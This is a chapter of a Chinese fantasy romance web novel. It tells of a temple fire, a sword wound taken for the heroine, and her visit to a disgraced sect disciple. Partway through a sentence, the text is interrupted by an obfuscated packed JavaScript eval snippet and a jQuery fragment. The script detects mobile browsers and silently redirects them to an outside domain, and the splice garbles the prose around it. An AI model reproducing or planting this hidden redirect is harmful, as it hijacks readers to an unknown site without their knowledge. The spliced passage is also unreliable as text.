他执着玉纤凝的手,指尖冒出火焰,将桌案上一应书卷纸张点燃。
轰的声火苗窜起,焰声隆隆,朝左右垂落的帘帐飞速扑去,将他二人包拢其中。
祠堂温度飞速攀升,橘色的光烧灼眼前男人俊美面庞。半边明媚,半边匿于阴影之中,如盛放在岩浆怒涛中的明快妖冶。
他垂眼觑着被火焰吞噬的定心经三个字,撩眼睨向玉纤凝,唇边绽笑,黑眸跳跃的两点橘光分外明亮,话音似循循善诱引人堕入深渊的魔。
“定心有何用?不如肆意的随心而动。”
随心而动……
咚…
像沉入湖底,常年没有波动的心在此刻重跳一拍,脑海中刺痛瞬间袭来。
比往常更加剧烈、汹涌,怒涛拍岸般狠狠击打她脑海边缘,海底深处有什么在共鸣呼唤,拽着她的意识不断沉入深海。
四面八方的海浪冲击,时不时划过锐利的礁石碎片,玉纤凝痛到不能自持,却被那无形的大手猛然拽入深处。
耳畔水声漫过,刹那沉寂,像是浸入另一个独立空间。
眼前是漆黑的深海,有串珠样的泡泡升腾向上。
呼唤声近在咫尺,她用力去看,隐约模糊地瞧见,深处似有被囚困的身影。周身海藻缠绕,折射着幽幽冷光,像是铁锁……
浪涛倏然翻起,将她猛然卷入更深处,再抛上高空,狠狠拍在砂砾岸边。疼痛自脑海化开,顷刻席卷整个身子,她极力克制,还是禁不住发颤。
晏空玄垂眼看向腰间玉佩。
那红光闪烁的更快、更亮了……
果然。
火势越来越汹涌,不过须臾就将祠堂变成一片火海,耳畔尽是斑斓蜘蛛被火焰吞噬发出的毕剥声。
玉纤凝稍微从痛楚中舒展开来,粗略一扫,入目四下皆是火光,唯有窗口处还有些空隙。
她唇色微白,强忍疼痛当即起身,下意识反扣住晏空玄手臂将其拽起,抽出玄机伞护住二人,闷头就往窗口方向冲。
绯域本就干燥炎热,加上这一把火,祠堂燃烧速度比寻常快上数倍。
高温扫过肌肤火辣辣的疼,头顶屋脊主骨更是被炙烤的开始卷曲,噼啪声响,下一瞬直接裹着火焰朝二人砸落。
“小心!”
玉纤凝蓦然伸手揽住晏空玄腰身将其摁向自己,沉重的木头紧跟着坠落在伞面,强劲的冲击震得她握伞的虎口阵阵发麻,将方才咬牙咽下的痛楚再次唤醒。
她忍不住将晏空玄搂的更紧,五指深深陷入他紧实的腰身。
晏空玄眉头稍皱,看到她轻颤的肩头,还有虎口震裂的血色,细小的蛇样顺着她娇嫩白皙的手背蜿蜒往下,钻入与血鲜红的袖中。
默了片刻,他下意识将紧绷的腰身放松,任由她用力发泄。
不过一息,玉纤凝再次动身,拉着他往窗口奔去。
窗口半阖,隐约有一丝瘆人寒气夹杂在火焰中飘入。
晏空玄眸底暗芒忽闪,瞥了眼旁侧仍旧闷头带他往前冲的玉纤凝。
距离窗口五步、三步……一步……
寒气陡然凌厉!
白芒闪烁,兀的自窗口乍现冲出,三尺锋刃径直照着玉纤凝胸口刺来!
脑海疼痛未止,看着突兀袭来的剑刃,玉纤凝根本来不及做出反应。
眼前光影变幻,突然覆上一片白,微凉的薄荷味将她笼罩。
“怎么还呆住了?”
玉纤凝抬眼,对上男人如往常带着几分调笑的眸子,只不过此刻他呼吸不正常的喘息,极力忍耐着什么。
火焰噼啪炸开的声音接二连三响起,轰隆一声,身后祠堂塌了半边,细小的火星随风飞起,似成群萤火。
木头烧焦跟虫子尸首的臭味被风吹散,再弥漫至鼻尖的是男人身上微凉的薄荷味,还有淡淡的血腥味。
余光瞥见他肩头绽着一朵红花,眉心轻跳移目看去,却是一片血淋淋的嫣红,中央指节长短的剑刃染着血色从他肩胛透出,随着他呼吸轻轻颤着。
“你……”她想说什么,但喉头滞涩,像被这火焰灼干,哑的说不出话来。
“这红衣今日……却不是圣女的专属了。”
晏空玄瞥了眼肩头血色,扯唇一笑,而后漫吸了口气,朝玉纤凝踏出一步,肩头猛然朝前用力,将那柄剑生生从肩胛挣出。
他面色瞬间煞白,身形踉跄间被玉纤凝稳稳扶住,他脱力似的贴着玉纤凝鬓边,没有先前那等朝气蓬勃,虚弱无力。
“你救我两次,方才我亦救你两次,可我为你受伤,算圣女欠我多一些,你也清楚我脾性,赔本买卖我可不做,他日圣女要记得还……”
还是老样子带着几分玩笑的腔调,将疼痛的苦压在那腔调之下。
“快来人!走水了!”离珠姗姗来迟,见祠堂大火,急忙大声呼救。
窗外那道黑影闻声飞快遁走。
*
灭火的弟子来时,玉纤凝跟晏空玄已被离珠跟伐竹分别接走。
不知什么人在祠堂附近落了结界,遮掩了火势,若不是离珠前来呼喊,竟无人察觉。
云卓收拾完祠堂之后,照例前来玉纤凝这里询问当时情况。
玉纤凝只答:“是一场意外。”
“意外?”
云卓满脸狐疑,显然不信,至少那残留的结界痕迹就无从说起。
但玉纤凝旁的不答,只又是一句:“我即将大婚,闹出诸多事宜传扬出去恐不吉利,望云卓师兄能体谅一二。”
云卓知晓问不出来什么,再多留此处也有不便,遂躬身离去。
他前脚走,离珠端来水跟帕子停在玉纤凝身边:“圣女怎么不如实说?”
如何如实说?
才被宗主跟夫人知道她夜半跟晏空玄叙话,眼下又在一起,怕是她跳入黄
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458636|169640||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
河都洗不清了。
再者,他眼下又添新伤……
手被离珠牵起,以浸泡过冷水的帕子轻轻擦拭。
片刻,她打断离珠动作。
“我出去一趟。”
“我跟你一起,等等我,圣女!”
玉纤凝长裙拂过门槛,眨眼没入夜色黑暗。
*
眼下已过子时,祠堂那头距离男弟子院近,并未惊动较远的女弟子院。
玉纤凝来时,院落漆黑一片,角落里却还有一盏灯亮着微弱光芒。
她提步行上前,屋内人警醒地低喝:“谁?!”
玉纤凝嗓音淡淡,如平缓流淌的溪水:“是我。”
屋内人突然默了,安静的让人感觉里面的人是否凭空蒸发。
玉纤凝也不着急,立在门前安静等着。
咔嗒,门闩落下,眼前闭合的门打开,里面温暖的烛光勾勒出眼前人身子轮廓,从她腰身肩头漏出几缕,照在玉纤凝没有波澜起伏的面上。
四目相对,绮禾望了她身后一眼,发声嗤笑:“我以为你会带着云卓一起来呢。”
玉纤凝道:“不准备让我进去坐坐吗?”
绮禾侧身让开一条路,玉纤凝跟着迈入屋中。
狭小逼仄,只是多了一人便觉拥挤的难以喘息。
有道侣可以同修的,宗门会专门配备修灵室,成戒在时,绮禾是与他一同住在修灵室,享受宗门倾斜的资源。
而今……
“其余屋子已经住满了,只剩下这杂物间,不比修灵室,也没有粗茶一盏,便是我的余生了。”
没了往日的和气,绮禾面上噙着嘲讽的笑,随意坐在椅子上看她:“找我是想算账?”
不忘又讥讽一句:“还是为那小子报仇?”
她面色十分坦然,丝毫没有被发现的惊慌。
玉纤凝从袖中摸出几瓶丹药,放在粗劣的桌案上:“这些丹药可以提升修为,应当足够你用一段时日,这段时日内,可以选择寻下一任道侣,也可以选择离开合欢宗,都由你。”
说完这一切,她转身朝门口踏去。
“站住!”
玉纤凝顿住脚,啪的一声,玉白的瓷瓶在脚下炸裂开来。
她侧目望去,见绮禾面目通红,像是受了某种屈辱瞪眼看她:“你这是做什么?想彰显你以德报怨的良好品行?!想让我看清自己究竟是多么不堪?!”
玉纤凝还是原先那句:“照顾门下弟子,也是圣女职责。”
“圣女职责?呵……圣女职责!”
屋中只燃着一根白烛,玉纤凝离去后,风从门口涌入将虚弱的豆烛吹得左右摇曳。
绮禾坐在椅子上,一番歇斯底里后两眼泛起迷茫。
盯着地上打碎的瓷瓶看了半晌,她蹲下身,将丹药一颗接一颗拾起,丝毫没有察觉阴影角落,一只斑斓毒蛛朝她悄然靠近……